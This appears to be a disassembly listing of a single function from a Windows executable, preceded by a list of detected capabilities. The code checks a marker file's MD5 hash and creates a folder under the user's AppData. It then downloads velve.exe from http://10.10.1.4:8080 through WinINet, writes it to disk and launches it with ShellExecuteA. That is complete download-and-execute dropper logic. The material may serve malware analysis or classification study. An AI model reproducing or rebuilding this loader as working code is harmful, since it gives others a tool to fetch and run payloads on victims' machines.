Function at 0x140001787
Capabilities:
Check if file exists
Create directory
Create http request
Create process on windows
Download and write a file
Get file attributes
Get session user name
Read data from internet
Receive and write data from server to client
Receive data
Schedule task via at
Write and execute a file
Write file on windows

Disassembly:
push rbp
mov eax, 0x13e0
call fcn.140002b60
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
mov dword [rbp - 4], 0x101
lea rax, str.C:marker.txt
mov qword [rbp + 0x1358], rax
lea rdx, [rbp - 4]
mov rax, rbp
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
test eax, eax
jne 0x1400017d8
mov eax, 1
jmp 0x140001ab0
mov rdx, rbp
lea rax, [rbp + 0x220]
mov r9, rdx
lea r8, str.C:Users_sAppDataRoamingVelve
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rdx, [rbp + 0x220]
lea rax, [rbp + 0x110]
mov r9, rdx
lea r8, str._s_velve.exe
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x1358]
mov r8d, 0x21
mov rcx, rax
call sym.ComputeMD5Hash
test eax, eax
je 0x14000185c
lea rax, [rbp - 0x30]
lea rdx, str.5d41402abc4b2a76b9719d911017c592
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001866
mov eax, 1
jmp 0x140001ab0
mov eax, 1
jmp 0x140001ab0
lea rax, [rbp + 0x220]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
jne 0x1400018a4
lea rax, [rbp + 0x220]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
call rax
test eax, eax
jne 0x1400018a4
mov eax, 1
jmp 0x140001ab0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.MyApp
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x1350], rax
cmp qword [rbp + 0x1350], 0
jne 0x1400018eb
mov eax, 1
jmp 0x140001ab0
mov rax, qword [rbp + 0x1350]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
lea rdx, str.http:__10.10.1.4:8080__velve.exe
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0x1348], rax
cmp qword [rbp + 0x1348], 0
jne 0x140001950
mov rax, qword [rbp + 0x1350]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 1
jmp 0x140001ab0
lea rax, [rbp + 0x110]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CreateFileA]
call rax
mov qword [rbp + 0x1340], rax
cmp qword [rbp + 0x1340], 0xffffffffffffffff
jne 0x140001a01
mov rax, qword [rbp + 0x1348]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x1350]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 1
jmp 0x140001ab0
mov ecx, dword [rbp + 0x133c]
lea r8, [rbp - 0x34]
lea rdx, [rbp + 0x330]
mov rax, qword [rbp + 0x1340]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_WriteFile]
call rax
lea rcx, [rbp + 0x133c]
lea rdx, [rbp + 0x330]
mov rax, qword [rbp + 0x1348]
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x140001a39
mov eax, dword [rbp + 0x133c]
test eax, eax
jne 0x1400019ce
mov rax, qword [rbp + 0x1340]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CloseHandle]
call rax
mov rax, qword [rbp + 0x1348]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x1350]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
lea rax, [rbp + 0x110]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov eax, 0
add rsp, 0x13e0
pop rbp
ret